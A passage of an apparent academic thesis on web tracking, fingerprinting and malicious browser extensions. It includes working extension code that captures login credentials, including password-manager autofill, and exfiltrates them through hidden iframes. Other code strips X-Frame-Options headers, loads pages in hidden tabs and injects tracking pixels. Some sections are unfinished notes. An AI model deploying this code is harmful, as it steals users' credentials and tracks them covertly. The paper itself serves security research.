Advertising is the main reason for user tracking. Companies pay large amounts of money to display advertisements for the purpose of increasing their sales volume. Without knowledge about the consumer's interest, a company can not advertise a particular product with success. A consumer is more likely to buy a product - what the goal of advertising is - that fits his needs. Therefore, companies want to collect information about the consumer and his interests. Given, that more and more consumer use the Internet nowadays, companies focus on websites as advertising medium. The collection and evaluation of a website's user data gives advertising companies the chance to personalize their advertisements. They can display advertisements on websites that with a high degree of probability match the current user's needs. Because this advertising strategy increases their profit, companies pay more money to websites that provide their user data for personalized advertising. Large companies such as Google or Facebook use targeted advertising as their business model. They act as middle man between advertiser and website hosts and provide large advertising networks. Other websites may embed advertisements from those networks which frees them from investing in user tracking and hosting their own servers for advertising. In addition, small websites without a monetization strategy may use embedded advertisements to continue to offer their services for free and still avoid a financial loss.

A reason why the displaying of advertisements may be dangerous for a user was researched by Xinyu Xing et al. They analyzed Chrome extensions focused on the distribution of malware through the injection of advertisements [34]. They analyzed 18,000 extensions and detected that 56 of 292 extensions which inject advertisements also inject malware into web pages.

Another area for which user tracking is used are web analytics. User data and web traffic is measured, collected, and analyzed to improve web usage. Targeted data is primarily the user's interaction with and movement through the website such as how long a web page is visited, how the user enters and leaves the website, or with which functionality he has trouble. On the basis of these information the website's developer can improve a web page's performance and usability. If used for a vending platform, these information can also be used to coordinate for example sale campaigns.

The tracking of a user is often accomplished by storing an identifier on the user's system the first time the user visits a tracking website. Reading out the identifier from another website allows to create a tracking profile for the user. In the following list we will describe several methods used for user tracking.

- **Tracking Cookies** The first web technology used to track users were HTTP cookies. Shortly after the introduction of cookies, first third-party vendors were observed that used cookies to track users between different web pages. If a user visits a web page that includes a resource from the tracking third-party, a cookie is fetched together with the requested resource and acts as an identifier for the user. When the user now visits a second web page that again includes some resource from the third-party, the stored cookie is send along with the request for the third-party's resource. The third-party vendor has now successfully tracked the user between two different web pages.
- **Local Shared Objects** Flash player use a technique similar to cookies to synchronize data between different browser sessions. The data is locally stored on the user's system by websites that use flash. Flash cookies as tracking mechanism have the advantage that they track the user behind different browsers and they can store up to 100KB whereas HTTP cookies can only store 4KB. Before 2011, local shared objects could not easily be deleted from within the browser because browser plugins hold the responsibility for their own data. In 2011 a new API was published that simplifies this mechanism [2].
- **Evercookies** Evercookie is a JavaScript framework implemented to produce persistent identifiers in a browser that are difficult to remove [15]. For that purpose, it uses multiple storage technologies such as HTTP and Flash cookies, HTML5 storages, web history and cache, and unusual techniques such as storing the identifier in RGB values of cached graphics. To hamper the removing from a browser, it recreates deleted identifiers as soon as the user visit a web site that uses the framework. The user has to delete every stored identifier to remove the evercookie completely.
- **Web Beacon** A web beacon is a remote loaded object that is embedded into an HTML document usually a web page or an email. It reveals that the document was loaded. Common used beacons are small and transparent images, usually one pixel in size. If the browser fetches the image it sends a request to the image's server and also sends possible tracking cookies along. This allows websites to track their user on other sites or gives the email's sender the confirmation that his email was read. An example is Facebook's "like" button or similar content from social media websites. Those websites are interested into what other pages their users visit. The "like" button reveals this information without the need to be invoked by the user.

Fingerprinting

Previously described methods for tracking a user identify him based on some data which was intentionally stored on the user's system. Those stored identifiers are vulnerable to deletion by the user. A study from 2010 showed that a browser reveals many browser- and computer-specific information to web pages [9]. These information are collected and merged to create an unique fingerprint of the currently used browser. Collecting the same information on another web page and comparing it to stored fingerprints, makes it possible to track and identify the current user without the need to store an identifier on the user's computer. Theoretically, it is possible to identify every person on earth with a fingerprint in the size of approximately 33 bit. Currently eight billion people live on our planet. Using 33 bit of different information we could identify $2^{33} = 8,589,934,592$ people. But the same kind of information taken from different users will probably

equal. Therefore, it is necessary to collect as much information as possible to create an unique fingerprint.

The technique of fingerprinting is an increasingly common practice nowadays which is mostly used by advertising companies and anti-fraud systems. It gives the opportunity to draw a more precise picture of a user. This is supported by the increasing use of mobile devices which provides information about the user's location. Furthermore, analyzing visited web pages and search queries give access to the user's hobbies and personal preferences. Advertising companies focus mainly on the user's personal information to display even more precisely adapted advertisements. Whereas, anti-fraud systems use the identification of the currently used devices to detect possible login tries with stolen credentials. If someone tries to log in to an account, the anti-fraud system compares the fingerprint of the currently used device with stored fingerprints for that account. If the fingerprint does not match, the user either uses a new device or someone unknown got access to the user's credentials. In this case, the web services often use further identification techniques such as personal security questions or similar.

People fear that the gathering and storing of many personal information turns them and their personal life transparent. Big companies such as Google or Facebook sell the user personal information, hence anyone may obtain it.

Fingerprinting is known to harm the user's privacy even more than simple tracking. Fingerprinting companies collect information from many different sources including many personal information, too. Big companies such as Google or Facebook sell these information. People fear that everything they do on the Internet is stored and may be used to harm them. This scenario is similar to a data retention for which politicians started several attempts to legalize it. The main reason for those who support data retention is the fight against crime and terrorism. Although their motives are respectable, people fear that the stored information will not remain in the hands of the government but goes in the hands of companies. The worst case scenario for the user is the same as for fingerprinting. He and his actions on the Internet will turn transparent for anyone who buys the information.

For example may a health insurance increase contributions because the insurant often books journeys to countries with a higher risk of an injection or a worker is accused to reveal company secrets because he often communicates with a friend who works for the competition and fired as a result.

There exists numerous scientific papers about fingerprinting techniques [27, 21, 23, 9, 22, 24]. Because detailed descriptions are off topic for our paper, we focus on a brief description of popular methods.

- **Browser Fingerprinting** The browser provides a variety of specific information to a web page that can be used to generate a fingerprint of the user's browser. The following list shows examples of fingerprinting properties and how to access them using JavaScript.

Property	JavaScript API	Example Output
System	<code>navigator.platform</code>	"Win32"
Browser Name	<code>navigator.userAgent</code>	"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0"
Browser Engine	<code>navigator.appName</code>	"Netscape"
Screen Resolution	<code>screen.width</code> <code>screen.height</code> <code>screen.pixelDepth</code>	1366 (pixels) 768 (pixels) 24 (byte per pixel)
Timezone	<code>Date.getTimezoneOffset()</code>	-60 (equals UTC+1)
Browser Language	<code>navigator.language</code>	"de"
System Languages	<code>navigator.languages</code>	["de", "en-US", "en"]

- **Fonts** The list of fonts available to a web page can serve as part of a user identification. The browser plugin Flash provides an API that returns a list of fonts installed on the current system. As per current scientific works, the order of the fonts list is stable and machine-specific. If the Flash plugin is not available in a browser, JavaScript can be used to test whether particular fonts are installed or not. This approach needs a predefined list and may not cover unpopular fonts. It is implemented by writing a string with each font on the web page. If a font is not

installed, the browser uses a fall-back font to draw the text. Comparing the width and height of the drawn font to those of the fall-back font gives an evidence about the font being installed.

- **History Sniffing** Reading out the user's web history can not only serve as fingerprinting method but also to simplify user tracking. The attacker An outdated approach to test if a user has visited a particular web page was to use the browser's feature to display links to visited web pages in a different color. A web site would hidden from the user add a list of URLs to a web page as link elements and determinate the displayed color. Nowadays, link elements that were queried by JavaScript calls behave like unvisited links fixing the thread from this sniffing attack. A current approach detects the redrawing of link elements to determine if the underlying web page was visited before [27]. If a link is drawn the first time, it is drawn as an unvisited link and simultaneously a query to the browser's web history database is send. When the query returns that the web page behind the link was visited before, it redraws the link element. This event can be captured giving the desired evidence.
- **JavaScript Benchmark Testing** The execution speed of a JavaScript engine depends on the implementation but also on the systems processor architecture and clock speed. Keaton Mowery et al. implemented a set of benchmark test suits to fingerprint different execution speeds [21]. Using these information, they could distinguish between major browser versions, operating systems and micro architectures.

4.2.3 Communication

An important part for browser attacks is the communication between the malicious extension and the attacker. We have already shown that we can load scripts from remote servers. In this section, we focus on communication to prepare or execute attacks.

We can use the a XMLHttpRequest to send data to a remote server. We have preciously shown in Code Extract 1, that we can fetch a remote script with an XMLHttpRequest. A similar implementation can be used to send any information to a server. Only the method that handles the response needs to be adapted. In our implementation, we used the code shown in Code Extract 5 to send a message to our remote server. Similar to Code Extract 1, we first create a new XMLHttpRequest object and set the request type and the target URL. Because we only want to send information out and do not care about the response, we do not need to declare a response handler like the implementation in Code Extract 1 on line 2 till 6. Instead, we have to set the request's *Content-type* header. This allows our server to correctly decode the web request's message. We decided to use the standard URL notation [31]. Finally, we deliver our message to the send method which executes the request.

```
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://localhost:3001/log');
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(message);
```

Code Extract 5: Send data to a remote server with a XMLHttpRequest

Another strategy to transfer information to a remote host was described by Liu et al. [19]. They analyzed possible threats in Chrome's extension model through malicious behavior and conducted that an extension can executed HTTP requests to any arbitrary host without cross-site access privileges. For that purpose, they used the mechanics of an *iframe* element. Its task is to display a web page within another web page. The displayed web page is defined by the URL stored inside the *iframe*'s *src* attribute. If the URL changes, the *iframe* reloads the web page. Adding parameters to the URL allows to send data to the targeted server. As a proof of concept, we implemented the content script shown in Code Extract 6 to send data to our remote server. It creates a new *iframe* element, hides it by setting the *iframe*'s display style to none, and appends it to the web pages body. The function `send(data)` expects a string in the standard URL notation [31]. We append the current web page's URL to the outgoing data to later identify the origin of the transmitted information. Finally, we set the *src* attribute of our *iframe* element to execute the web request.

The Same Origin Policy creates a boundary between the *iframe* and it's parent web page. It prevents scripts to access content that has another origin than the script itself. Therefore, if the web page inside the *iframe* was loaded from

```
var iframe = document.createElement('iframe');
iframe.setAttribute('style', 'display: none;');
document.body.appendChild(iframe);

function send(data) {
    data += "&url=" + encodeURIComponent(window.location.href);
    iframe.setAttribute('src', 'https://localhost:3001/log?' + data);
}
```

Code Extract 6: Content script that sends data to a remote server using an iframe element

another domain as the parent web page, the iframe's JavaScript can not access the parent web page and vice versa. This boundary does not prevent an extension to access information in an iframe. The extension can execute a content script in every web page hence in the iframe's web page, too. This allows us to use the content script in Code Extract 6 for a two way communication channel. Executing a second content script inside the iframe, allows us to read information which our server has embedded inside the fetched web page.

In previous researches, Liu et al. implemented extensions for major browsers that can be remote controlled to execute web based attacks such as Denial of Service or spamming. [18, 19]. To control the extensions and send needed information such as the target for a DoS attack or a spamming text, the attacker has to communicate with his extensions. Liu et al. use the automatic update of extensions for that purpose. The browser checks for any extension update on startup and periodically on runtime. The attacker can distribute an attack by pushing a new update and the extension can read commands from a file in its bundle. This communication channel is more stealthy than previous approaches because no web request is executed between the extension and the attacker. The update process is a legitimate function of the browser and therefore it does not trigger any anti-virus software.

4.2.4 Attack Vectors

Accessing The Web Page

An extension has full access to the displayed web page and its DOM. It can read any information and modify the web page in any arbitrary way. A malicious extension can misuse this access and execute several attacks with the use of a content script. To execute the content script in any web page, the attacker may use the URL pattern `http://*/*`, `https://*/*`, or `<all_urls>`. We present some general attack scenarios in the following list.

- **Steal User Data From Forms** Any information the user transmits over a form in a web page is accessible for an extension. To steal this information, the extension adds an event listener which is dispatched when the user submits the form. At this time, the extension can read out all information that the user has entered in the form. This approach gives the attacker access to the user's personal information such as his address, email, phone number, or credit card number but also to identification data such as social security number, identity number, or credentials. Especially username and password for website login are typically transmitted over a form.
- **Steal Displayed User Data** Any information about the user that a web page contains is accessible for an extension. To steal this information, the attacker has to explicitly know where it is stored in the web page. This is mostly a trivial task, because most web pages are public and the attacker is therefore able to analyze the targeted web page's structure. To target a specific HTML element, the attacker needs a proper CSS selector. For that purpose, he can use the developer console which is provided by current browsers such as Chrome, Firefox, or Opera. With this attack, an attacker is able to obtain a broad range of different information such as the user's financial status from his banking portal, his emails and contacts, his friends and messages from social media, or bought items and shopping preferences.

- **Modify Forms** An extension can add new input elements to a form. This tricks the user into filling out additional information that are not necessary for the website but targeted by the attacker. For that purpose, the extension adds the additional input fields to the form when the web page loads, steals the information when the user submits the form, and removes the additional fields afterwards. The last step is necessary because the web application would return an error the form's structure was modified. This attack will succeed if the user does not know the form's structure beforehand. To decrease the probability that the user knows the form already, the extension can determinate whether or not the user has visited the web page to an earlier date before executing the attack.
- **Modify Links** An extension can modify the URL of a link element to redirect the user to a another web page. This page may be malicious and infect the user's device with malware or it may be a duplicate of the web page to which the link originally led and steal the user's data. But the attacker may also enrich himself through the extension's users. Some companies pay money for every time someone loads a specific web page. The attacker can redirect the user to this web page and gain more profit.

Lujo Bauer et al. described several attacks for WebExtensions and implemented them as a proof of concept. They focused on stealing credentials which the browser has stored for the user. An WebExtension with the host permissions `https://*/*` and `http://*/*` can open any other web page. For instance with the method `chrome.tabs.update` which is no restricted by any permissions.

[5] many attacks for web extension sorted by permissions, implemented each attack as proof of concept, host permission `http://*/*`, can load other web pages by e.a. `chrome.tabs.update` which is not restricted by the tabs permission, if browser has stored auto fill data extension can steal them, load other web page in current tab is very suspicious, more stealthy by loading web page in inactive tab or even in other window which is currently in background, these information can be accessed with the `chrome.tabs` API and do not need the tabs permission too, other stealthy approach is to use an iframe, can be hidden from the user by loading in background tab, invisible or very small, webextension needs `all_frames` option for content scripts to execute content script in iframe, including `all_frames` does not cause additional warning, many web pages set `X-Frame-Options` header to disallow being opened in iframe, they implemented an extension that sets the security header to `ALLOW` using the `webRequestBlocking` permission and API, user tracking and identifying with an extension, reading user information such as facebook name, email addresses or other sensitive data, cross devices tracking if extension is installed on multiple devices, check same username used on different devices, tracking mouse movements and key input using document events, history sniffing with `history` permission

Execute Web Attacks

[18, 19] bot net, password sniffing, DoS attack and spamming, DoS either by XHR or DOM, webextension: XHR needs host permissions, spamming uses user's email account, catches credentials if user logs into email account, sends emails on behalf of user, stealthy because many different email addresses are used for spamming and spamming is distributed in time,

A botnet is a network consisting of multiple compromised clients which can be controlled remotely. They are mostly used to execute large scaled cyber attacks such as Distributed Denial of Service (DDoS) or spamming. In recent times, botnets are also used to harvest social media valuations such as Facebook's likes. The controller of such a botnet - also called bot master - sales these valuations to thousands and executes them with the social media accounts which are used on the compromised machines. With the same manner, the bot master can execute DDoS attacks to make a web service unavailable for the general public. This is achieved by overwhelming the server's capacities with requests. Either targeting the network and flooding it's bandwidth or the application itself using up all of the computer's CPU resources. A simple Denial of Service (DoS) attack calls the targeted web service numerous times a second from a single origin. If the attacker uses a botnet, he is able to perform the DoS attack from multiple devices simultaneously which results in an ever bigger overwhelm at the targeted server.

Extensions may be used as a bots. They are hosted on many different computers and can execute web requests. Extensions that act as a bot where previously researched for Internet Explorer, Firefox and Chrome [18].

Intercept Requests

The Man-in-the-browser (MITB) is a browser based attack related to man-in-the-middle attack (MITM) [7]. It intercepts and alters web traffic to simulate a false environment for the user where his interactions will harm himself.

The MITM is an attack scenario in computer cryptography against a direct communication between two parties where the attacker secretly gains access to the exchanged messages. This gives him the opportunity to either steal desired information or alter the communication. If he alters the traffic in the right way, he is able to impersonate one party and deceive the other one to think the communication is still private. To gain access to the communication channel, an MITM attacker has to use vulnerabilities in obsolete cryptography algorithm or exploits in buggy implemented soft or hardware. An MITB attack on the other hand is located inside the browser from where it intercepts in and outgoing web requests. The attack will be successful irrespective of security mechanisms because it takes place before any encryption or authentication is applied.

An MITB attacker often manipulates the code base of a browser to perform his attacks and therefore needs access to the user's machine. A simpler realization of MITB attacks can be achieved using extensions. An extension can manipulate a web page to show false information and alter outgoing web requests without knowledge of the user. It is a part of the browser itself and therefore obviates the need to manipulate the browser's code base which also decreases the probability of discovery.

A simple MITB attack scenario using an extension: The user logs into the online platform of his bank to perform a transaction. He enters needed information into the provided form and submits it back to the bank's server. The extension reads the outgoing web request and changes the target account and rises the transfer amount. The banking system will not recognize the manipulated request. It will trust to request because the communication channel is secured and the user was successfully identified. To review and check the transaction, the banking system sends back an receipt to the user. The extension intercepts the returning web request and changes the previously manipulated data back to its original state. The user does not recognize the manipulation at this point, too. To hamper such attacks, modern banking systems use an extra verification before they execute the transaction. It often consists a piece of information which comes from an external source. For example, a TAN generator calculates a values from the target account number, the transfer amount, and some data stored on the user's banking card. This would prevent our attack scenario, because the value which is entered by the user will not match the value calculated on the server and the extension can not access the information on the banking card to calculate the correct value itself.

4.3 Implementations

Steal Credentials

We implemented an extension that steals credentials from a login form. It uses two content scripts without the need for further permissions. The one shown in Code Extract 7 steals the credentials if the user submits the login form. The other one shown in Code Extract 8 steals the credentials if the browser's password manager has filled them in the login form. To send the stolen credentials to our remote server, we use the send method shown in Code Extract 6. Both content scripts start by querying an input field of type password and getting the proper form element. The content script in Code Extract 7 adds an event listener to the form element on line 4 which is triggered if the user submits the form. It then forwards the form's content to our send method in the proper format. The content script in Code Extract 8 checks if the password element's value is not empty on line 5 and forwards the form's content in that case to our send method on line 6. We delay the execution of line 5 and 6 with the `setTimeout` function to give the password manager enough time to fill in the credentials.

Furthermore, we implemented several extensions that open predefined login web pages to steal probably stored credentials from the browser's password manager. Different strategies to hide the loading of a new web page were previously discussed by Lujo Bauer et al. [5]. We implemented three described techniques:

```

var passwordElement = $('input[type="password"]');
if(passwordElement.length > 0) {
    var form = passwordElement.closest('form');
    form.submit(function(event) {
        send(form.serialize());
    });
}

```

Code Extract 7: Content Script that steals credentials from a login form if the user submits the form.

```

var passwordElement = $('input[type="password"]');
if(passwordElement.length > 0) {
    var form = passwordElement.closest('form');
    setTimeout(function() {
        if(passwordElement.val() != "") {
            send(form.serialize());
        }
    }, 500);
}

```

Code Extract 8: Content Script that steals credentials from a login form if the browser's password manager has filled in the credentials.

1. Load the targeted web page in an invisible iframe inside any web page.
2. Load the targeted web page in an inactive tab and switch back to the original web page after the attack has finished.
3. Open a new tab in an inactive browser window and load the targeted web page in this tab. Close the tab after the attack has finished.

The first technique is the least reliable one. There exists several methods to enforce that a web page is not displayed in an iframe. The standardized approach is to use the **X-Frame-Option** HTTP header which is compatible with all current browsers [26, 20]. This transfers the responsibility to enforce the policy to the browser. Other approaches use JavaScript to deny the web page's functionality if it is loaded in an iframe or simply move the web page from the iframe to the main frame.

Our implementation removes the **X-Frame-Option** from any incoming web request to be able to load particular web pages into an iframe and steal probably stored credentials. For that purpose, our extension needs the permissions "webRequest", "webRequestBlocking", "https://*/*", and "http://*/*". Our implementation of this part is shown in Code Extract 9. We use the `chrome.webRequest` module to add an event listener that is triggered when the browser receives HTTP headers for a response. The `addListener` method on line 1 takes additional arguments on line 9. These define that the listener is triggered on any URL that matches `https://*/*` or `http://*/*`, the request is blocked until the listener finishes, and the listener has access to the response's headers. Our listener iterates over the headers, compares if the header's name equals `x-frame-options`, and removes the header in this case.

To open a particular web page in an iframe, we use a content script with the `any_frame` option which enables the content script in iframes, too. The content script is shown in Code Extract 10. It checks whether or not it is currently active in the main frame on the first line. If it is active in an iframe, we use the implementation shown in Code Extract 8 to steal the probably stored credentials. If the content script is currently active in the main frame, we send a message to the extension's background to retrieve a URL. This is necessary because the content script itself can not store data - in our case a list of URLs - between different instances of itself. On line 4 till 7 we create a new iframe, make it invisible, set its source attribute to the given URL, and add it to the document's body.

```
chrome.webRequest.onHeadersReceived.addListener(function(details) {
    details.responseHeaders.forEach(function(header, index){
        if(header.name.toLowerCase() === "x-frame-options"){
            details.responseHeaders.splice(index,1);
        }
    });
    return({responseHeaders: details.responseHeaders});
},
{urls: ['https://*/*', 'http://*/*']}, ['blocking', 'responseHeaders']);
```

Code Extract 9: Extension code to remove the X-Frame-Options header from any incoming web request.

```
if(window.self === window.top) {
    chrome.runtime.sendMessage({get: 'url'}, function(response) {
        if(response.url) {
            var newIframe = document.createElement('iframe');
            newIframe.setAttribute('style', 'display: none;');
            newIframe.setAttribute('src', response.url);
            document.body.appendChild(newIframe);
        }
    });
}
else { ... }
```

Code Extract 10: Content script to open a particular web page in an iframe.

The second and third technique work very similar. Both use the browser's tab system to open a particular web page and inject a content script in it to steal probably stored credentials. Code Extract 11 shows the implementation of our extension that opens a particular web page in an inactive tab. Our extension needs the tabs permission to access the URL of the current tab. We query all tabs to find one that is not active and not a browser intern tab. On line 10, we store the tab's current URL to later switch the tab back to it's original state. Then, we update the current tab and load our targeted web page. The `setInterval` function helps us to check every 100 milliseconds whether the tab has finished loading the web page. This is necessary for the injection of our content script to work. If the tab has finished loading, we inject our content scripts in combination with a local copy of jQuery in the current tab. Finally, we have to load the original web page in the tab after our content script has stolen the credentials. We use the communication channel between content script and the extension's background to notify the background that the content script has finished. On line 25, we register an event listener that loads the original web page in the sender tab if a proper message arrives.

Our implementation of the third technique differs only in a few lines from our implementation of the second technique shown in Code Extract 11. First, we query for a tab that is not in the currently active window. Second, we create a new tab instead of updating the queried one and do not store the current tabs URL. This also removes the necessity for the tabs permission. And finally, we close the tab when the content script messages that it has finished the attack.

We tested our implementations in Chrome, Opera, and Firefox. To our surprise, they were only successful in Firefox. The reason that none of our attacks work in Chrome and Opera is that JavaScript has no access to the value of a password input field before any user interaction with the web page occurred. What first seems like a bug is an intended security feature to prevent exactly our kind of attack [30].

4.3.1 Identifier Storage

An extension is able to store information between browser sessions. Chrome provides an additional cloud based storage that is automatically synced with all devices if the user uses Chrome with his Google account. Firefox Add-ons on the other hand are able to store information on the user's hard disk. We can use this mechanism to provide a storage for a

```

function openPageInInactiveTab(url) {
    var queryOptions = {
        active: false,
        windowType: "normal"
    }
    chrome.tabs.query(queryOptions, function (tabs) {
        if(tabs.length === 0) {
            return;
        }
        oldUrl = tabs[0].url;
        chrome.tabs.update(tabs[0].id, {url: url}, function(tab) {
            var interval = setInterval(function() {
                chrome.tabs.get(tab.id, function(tab) {
                    if(tab.status === 'complete') {
                        clearInterval(interval);
                        chrome.tabs.executeScript(tab.id, {file: 'jquery.js'});
                        chrome.tabs.executeScript(tab.id, {file: 'content.js'});
                    }
                });
            }, 100);
        });
    });
}
chrome.runtime.onMessage.addListener(function(message, sender) {
    if(sender.tab && message.status === 'finished') {
        chrome.tabs.update(sender.tab.id, {url: oldUrl});
    }
});

```

Code Extract 11: Extension code to open a particular web page in an inactive tab to steal probably stored credentials.

tracking identifier additional to cookies or similar. Such identifier are propagated from a web page to the browser. To receive one, we can use a previous described technique for communicate between a content script and the underlying web page.

4.3.2 Web Beacon

This is another tracking method which we can support with an extension. It notifies a third party that a specific web page was accessed by fetching a resource from a server and sending possible tracking cookies along the request. We implemented an extension that embeds an image of one pixel in size in every visited web page. When the browser fetches the image, it sends a tracking cookie along the request or fetches a new one. The extension needs a single content script with the matching attributes "http://*/*" and "https://*/*" and no further permissions. The content script is shown in Code Extract 12.

```

var img = document.createElement('img');
img.setAttribute('src', 'https://localhost:3001/images/pixel.png');
document.body.appendChild(img);

```

Code Extract 12: Content script that injects a tracking pixel in the current web page.

4.3.3 Keylogger

JavaScript enables us to register events for every interaction the user has with the current web page. This gives us the possibility to exactly observe what elements the user clicks, double clicks, or drag and drops and what text he enters in input fields. If we combine all these information, we are able to track the user on his path through the web page.

4.3.4 Fingerprinting

The browser provides additional information to its extension which are not available for web pages. Those information may be used to generate a more accurate fingerprint of the user's browser and system. Accessing the information needs additional permissions. Table 4.1 shows provided information that may be retrieved for a fingerprint and the permissions needed to access them.

Permission	Information	Example
system.cpu	Number of processor kernels Processor's name Processor's capabilities	Intel(R) Core(TM) i5-3210M CPU @ 2.50GHz "sse", "sse2", "sse3"
system.memory	Memory capacity	6501200096
gcm	An unique ID for the extension instance	
management	List of installed extensions	Extension ID and version

Table 4.1: Additional fingerprint information available to WebExtension

4.4 Extension Analysis

Bibliography

- [1] MDN JavaScript Reference - Don't use eval needlessly! https://developer.mozilla.org/de/docs/Web/JavaScript/Reference/Global_Objects/eval#dont-use-it. [accessed 2015-12-29].
- [2] NPAPI:ClearSiteData. <https://wiki.mozilla.org/NPAPI:ClearPrivacyData>. [accessed 2016-05-25].
- [3] S. Bandhakavi, N. Tiku, W. Pittman, S. T. King, P. Madhusudan, and M. Winslett. Vetting browser extensions for security vulnerabilities with vex. *Commun. ACM*, 54(9):91–99, Sept. 2011.
- [4] A. Barth, A. P. Felt, P. Saxena, A. Boodman, A. Barth, A. P. Felt, P. Saxena, and A. Boodman. Protecting browsers from extension vulnerabilities. In *in Proceedings of the 17th Network and Distributed System Security Symposium*, 2010.
- [5] L. Bauer, S. Cai, L. Jia, T. Passaro, and Y. Tian. Analyzing the dangers posed by Chrome extensions. In *Proceedings of the IEEE Conference on Communications and Network Security*, pages 184–192. IEEE, Oct. 2014.
- [6] N. Carlini, A. P. Felt, and D. Wagner. An evaluation of the google chrome extension security architecture. In *Proceedings of the 21st USENIX Conference on Security Symposium*, Security'12, pages 7–7, Berkeley, CA, USA, 2012. USENIX Association.
- [7] K. Curran and T. Dougan. Man in the browser attacks. *Int. J. Ambient Comput. Intell.*, 4(1):29–39, Jan. 2012.
- [8] M. Dhawan and V. Ganapathy. Analyzing information flow in javascript-based browser extensions. In *Proceedings of the 2009 Annual Computer Security Applications Conference*, ACSAC '09, pages 382–391, Washington, DC, USA, 2009. IEEE Computer Society.
- [9] P. Eckersley. How unique is your web browser? In *Proceedings of the 10th International Conference on Privacy Enhancing Technologies*, PETS'10, pages 1–18, Berlin, Heidelberg, 2010. Springer-Verlag.
- [10] B. Feinstein and D. Peck. Caffeine monkey: Automated collection, detection and analysis of malicious javascript. In *DEFCON 15*, 2007.
- [11] O. Hallaraker and G. Vigna. Detecting malicious javascript code in mozilla. In *Proceedings of the 10th IEEE International Conference on Engineering of Complex Computer Systems*, ICECCS '05, pages 85–94, Washington, DC, USA, 2005. IEEE Computer Society.
- [12] C. C. Inc. Javascript obfuscator. <https://javascriptobfuscator.com/Javascript-Obfuscator.aspx>. [accessed 2016-05-10].
- [13] N. Jagpal, E. Dingle, J.-P. Gravel, P. Mavrommatis, N. Provos, M. A. Rajab, and K. Thomas. Trends and lessons from three years fighting malicious extensions. In *24th USENIX Security Symposium (USENIX Security 15)*, pages 579–593, Washington, D.C., 2015. USENIX Association.
- [14] JScrambler. jsrambler. <https://jscrambler.com/en>. [accessed 2016-05-10].
- [15] S. Kamkar. evercookie – never forget. <http://samy.pl/evercookie/>. [accessed 2016-02-26].
- [16] A. Kapravelos, C. Grier, N. Chachra, C. Kruegel, G. Vigna, and V. Paxson. Hulk: Eliciting malicious behavior in browser extensions. In *23rd USENIX Security Symposium (USENIX Security 14)*, pages 641–654, San Diego, CA, Aug. 2014. USENIX Association.

-
- [17] B.-I. Kim, C.-T. Im, and H.-C. Jung. Suspicious malicious web site detection with strength analysis of a javascript obfuscation. *International Journal of Advanced Science and Technology*, 26:19–32, 2011.
- [18] L. Liu, X. Zhang, and S. Chen. Botnet with browser extensions. In *Privacy, Security, Risk and Trust (PASSAT) and 2011 IEEE Third International Conference on Social Computing (SocialCom), 2011 IEEE Third International Conference on*, pages 1089–1094. IEEE, 2011.
- [19] L. Liu, X. Zhang, V. Inc, G. Yan, and S. Chen. Chrome extensions: Threat analysis and countermeasures. In *In 19th Network and Distributed System Security Symposium (NDSS '12, 2012*.
- [20] MDN. The x-frame-options response header. <https://developer.mozilla.org/en-US/docs/Web/HTTP/X-Frame-Options>. [accessed 2016-05-24].
- [21] K. Mowery, D. Bogenreif, S. Yilek, and H. Shacham. Fingerprinting information in JavaScript implementations. In H. Wang, editor, *Proceedings of W2SP 2011*. IEEE Computer Society, May 2011.
- [22] K. Mowery and H. Shacham. Pixel perfect: Fingerprinting canvas in HTML5. In M. Fredrikson, editor, *Proceedings of W2SP 2012*. IEEE Computer Society, May 2012.
- [23] N. Nikiforakis, A. Kapravelos, W. Joosen, C. Kruegel, F. Piessens, and G. Vigna. Cookieless monster: Exploring the ecosystem of web-based device fingerprinting. In *Proceedings of the 2013 IEEE Symposium on Security and Privacy, SP '13*, pages 541–555, Washington, DC, USA, 2013. IEEE Computer Society.
- [24] L. Olejnik, C. Castelluccia, and A. Janc. Why Johnny Can't Browse in Peace: On the Uniqueness of Web Browsing History Patterns. In *5th Workshop on Hot Topics in Privacy Enhancing Technologies (HotPETs 2012)*, Vigo, Spain, July 2012.
- [25] K. Onarlioglu, A. S. Buyukkayhan, W. Robertson, and E. Kirda. Sentinel: Securing Legacy Firefox Extensions. *Computers & Security*, 49(0), 03 2015.
- [26] D. Ross, T. Gondrom, and T. Stanley. HTTP Header Field X-Frame-Options. <https://tools.ietf.org/html/rfc7034>. [accessed 2016-05-24].
- [27] P. Stone. Pixel perfect timing attacks with HTML5. Technical report, Context Information Security Ltd, 2013.
- [28] M. Ter Louw, J. S. Lim, and V. N. Venkatakrishnan. Extensible web browser security. In *Proceedings of the 4th International Conference on Detection of Intrusions and Malware, and Vulnerability Assessment, DIMVA '07*, pages 1–19, Berlin, Heidelberg, 2007. Springer-Verlag.
- [29] D. Tools. Javascript obfuscator/encoder. <http://www.danstools.com/javascript-obfuscate/index.php>. [accessed 2016-05-10].
- [30] vabr@chromium.org. Chromium blog issue 378419. <https://bugs.chromium.org/p/chromium/issues/detail?id=378419>. [accessed 2016-03-18].
- [31] A. van Kesteren. URL Living Standard. <https://url.spec.whatwg.org/>. [accessed 2016-04-25].
- [32] A. van Kesteren, J. Aubourg, J. Song, and H. R. M. Steen. XMLHttpRequest Level 1. <https://www.w3.org/TR/XMLHttpRequest/>. [accessed 2016-04-27].
- [33] P. Vogt, F. Nentwich, N. Jovanovic, C. Kruegel, E. Kirda, and G. Vigna. Cross-Site Scripting Prevention with Dynamic Data Tainting and Static Analysis. In *Network and Distributed Systems Security Symposium (NDSS)*, 02 2007.
- [34] X. Xing, W. Meng, B. Lee, U. Weinsberg, A. Sheth, R. Perdisci, and W. Lee. Understanding malvertising through ad-injecting browser extensions. In *Proceedings of the 24th International Conference on World Wide Web, WWW '15*, pages 1286–1295, New York, NY, USA, 2015. ACM.

-
- [35] W. Xu, F. Zhang, and S. Zhu. Jstill: Mostly static detection of obfuscated malicious javascript code. In *Proceedings of the Third ACM Conference on Data and Application Security and Privacy*, CODASPY '13, pages 117–128, New York, NY, USA, 2013. ACM.